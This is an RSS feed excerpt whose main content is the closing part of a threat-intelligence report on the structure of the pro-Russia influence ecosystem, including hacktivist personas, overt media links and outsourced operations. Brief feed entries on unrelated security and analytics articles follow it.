    • The self-proclaimed hacktivist group NoName057(16) emerged following the Russian invasion of Ukraine in 2022, primarily targeting Ukraine and its partners and allies with DDoS attacks and various network intrusions. It has targeted high profile events, such as the Milano Cortina Winter Olympics, institutions like the French National Assembly, and critical infrastructure and transportation targets in Germany. Often their messaging cites grievances with overt acts of Western support for Kyiv, suggesting the group advances Russian interests not only through the targeting of perceived Russian adversaries but also in gaining attention for its pro-Russia messaging. 

    Established ecosystem components facilitate the cultivation of new assets and activity. Inter-ecosystem cross-promotion helps overcome challenges of audience building by directing traffic toward new assets, operations, and narratives, enabling rapid deployment of new and existing IO capabilities. This directly supports a self-sustaining cycle that maintains and expands the ecosystem. 

    • The hacktivist persona JokerDNR played a significant role in amplifying the APT44-linked persona Solntsepek when its doxxing-focused Telegram channel first launched and then again as it began claiming cyber espionage activity. 

    Domestic Russian audiences are a longstanding target of the pro-Russia influence ecosystem. Internally directed influence activity has often involved the promotion of Kremlin policies and talking points and the denigration of opposition voices and ideas, conducted by both overt and covert segments of the ecosystem. 

    • Ahead of Russia’s March 2024 presidential election, GTIG identified the hybrid espionage and influence actor UNC5101 register domains and conduct associated influence operations attempting to deceive Russian opposition voters about the timing of an anti-Putin protest.

    Ecosystem actors respond to the same set of internal shifting circumstances and external geopolitical developments, often leading to seemingly similar, but ultimately distinct, activity. These shared drivers and general motivational alignments encourage actors to "spontaneously" coalesce around a particular topic or narrative. While this can appear superficially similar, this phenomenon is distinct from instances of actor coordination and campaign linkages, which is less common. 

    Systemic flexibility is a central feature, with influence assets able to mobilize both incrementally and at scale to advance Russian interests. The Russian Government is able to mobilize assets across the ecosystem to respond to strategic events. Meanwhile, individual or aligned actors can separately mobilize to address tactical needs, allowing the ecosystem to concurrently message on multiple issues across different geographies (Figure 7). 

    • Russia demonstrated its ability to focus the ecosystem on a single strategic issue like the Russian invasion of Ukraine. Simultaneously, discrete assets have addressed tactical events, such as when Portal Kombat briefly promoted narratives about a Russian drone incursion into Poland concurrently with other covert pro-Russia influence activity.

    Tactical responses are executed by individual or coordinated/aligned clusters of actors to address emerging developments

    Figure 7: Tactical responses are executed by individual or coordinated/aligned clusters of actors to address emerging developments

    Overt Russian media contributes to, and is connected with, multiple covert influence components. The overt components of Russia's influence infrastructure play a critical role within the broader Russian influence ecosystem beyond the commonly understood function of providing a public platform for government-aligned narratives and official talking points; overt media helps to drive (inform targeting) and amplify covert pro-Russia influence activity, seeding desirable narratives within the ecosystem and providing an indirect conduit between the Kremlin and a disparate array of influence actors. Overt media outlets have directly coordinated their activity with covert actors and have increasingly employed IO tactics to disseminate their own content in the face of sanctions and platform bans (Figure 8). 

    • US Government sanctions in late 2024 indicated that Russian state media company Russia Today (RT) directly conducted covert influence operations, including on behalf of the Russian intelligence services. Further, RT employees reportedly interacted with members of the self-proclaimed hacktivist group RaHDit, which has claimed to collaborate with multiple other pro-Russia hacktivist groups, illustrating the layered connections between overt media, Russian intelligence services, and hacktivist groups.

    Overt Russian media maintains multiple links with the covert segments of the ecosystem

    Figure 8: Overt Russian media maintains multiple links with the covert segments of the ecosystem

    Outsourcing IO capability development and campaign execution to third-party organizations and proxies enables scaling and obfuscation. Outsourcing is used for developing custom tooling and bolstering both human and organizational capacity. While custom tool development facilitates operators in all phases of the IO lifecycle, Russian government actors can flexibly leverage different models for outsourcing campaign execution based on their specific needs. Proxy actors can also generate plausible deniability (Figure 9). 

    • GTIG reported how Russian IT contractor NTC Vulkan (Russian: НТЦ Вулкан) worked with the Russian intelligence services, including providing tooling and support for the GRU unit that sponsors APT44 activity. Separately, US government sanctions detailed how the Doppelganger campaign is supported by multiple Russian contractors under the sponsorship of the Russian Presidential Administration.

    Outsourcing and proxies support capability development and campaign execution for covert influence activity

    Figure 9: Outsourcing and proxies support capability development and campaign execution for covert influence activity

    Conclusion

    Multiple factors are propelling the evolution of the pro-Russia influence ecosystem we have observed since Moscow’s full scale invasion of Ukraine four years ago. The Kremlin mobilized the entire ecosystem to support the ongoing conflict, which has provided rapid feedback and driven significant investment in new and established overt and covert influence assets. At the same time, pro-Russia actors are increasingly experimenting with generative AI to enhance their workflows. This condensed period of adaptation, alongside signals suggesting Russia's growing reliance on IO tactics to navigate new challenges, raises concerns regarding how a potentially diversifying pool of actors will leverage advancements in tradecraft and scalability. As Russia seeks to emerge from international isolation and reorients its influence ecosystem back toward global objectives, it is critical for defenders to understand how this ecosystem provides the Kremlin with a durable influence capability in order to better anticipate future Russian influence threats.

    Additional Tools and Resources

    For mitigation and hardening recommendations, please review the following:

    Google offers a suite of free of cost tools to help protect high-risk users from the most pervasive digital attacks, to which politicians, journalists, and campaigns are often most vulnerable. Examples include protecting accounts from targeted attacks with Advanced Protection Program and safeguarding campaign websites from DDoS attacks with Project Shield.

    ]]>         <![CDATA[SME Cybersecurity lessons from the Boots survey spam attack on a small business server – Report & Analysis]]> https://tsecurity.de/de/3633091/it-security-nachrichten/sme-cybersecurity-lessons-from-the-boots-survey-spam-attack-on-a-small-business-server-report-analysis/ https://tsecurity.de/de/3633091/it-security-nachrichten/sme-cybersecurity-lessons-from-the-boots-survey-spam-attack-on-a-small-business-server-report-analysis/ Mon, 29 Jun 2026 15:53:32 +0200 📰 IT Security Nachrichten tsecurity.de SME Cybersecurity lessons from the Boots survey spam attack on a small business server – Report & AnalysisImage Credit: Designed by Magnific Image Credit: IfOnlyCommunications Latest Posts from SECURUS Communications FIREWALLS SMECYBERIINSIGHTS...

    The post SME Cybersecurity lessons from the Boots survey spam attack on a small business server – Report & Analysis appeared first on SME Cybersecurity News | SMECYBERInsights.co.uk.

    ]]>         <![CDATA[I Completed Five Years in Analytics Consulting: 5 Lessons That Changed How I Work]]> https://tsecurity.de/de/3633083/ai-nachrichten/i-completed-five-years-in-analytics-consulting-5-lessons-that-changed-how-i-work/ https://tsecurity.de/de/3633083/ai-nachrichten/i-completed-five-years-in-analytics-consulting-5-lessons-that-changed-how-i-work/ Mon, 29 Jun 2026 15:48:54 +0200 🔧 AI Nachrichten tsecurity.de The tools I use for analytics and reporting have changed more than I expected, yet my questions for any analytics project haven't moved much.

    The post I Completed Five Years in Analytics Consulting: 5 Lessons That Changed How I Work appeared first on Towards Data Science.

    ]]>         <![CDATA[Combat Experience as a Strategic Resource: Lessons of the Red Army Purges]]> https://tsecurity.de/de/3632962/it-security-nachrichten/combat-experience-as-a-strategic-resource-lessons-of-the-red-army-purges/ https://tsecurity.de/de/3632962/it-security-nachrichten/combat-experience-as-a-strategic-resource-lessons-of-the-red-army-purges/ Mon, 29 Jun 2026 15:09:38 +0200 📰 IT Security Nachrichten tsecurity.de Implications of Pete Hegseth's forcing out over two dozen senior U.S. military officers, collectively totaling over 900 years of military experience.

    The post Combat Experience as a Strategic Resource: Lessons of the Red Army Purges appeared first on Just Security.

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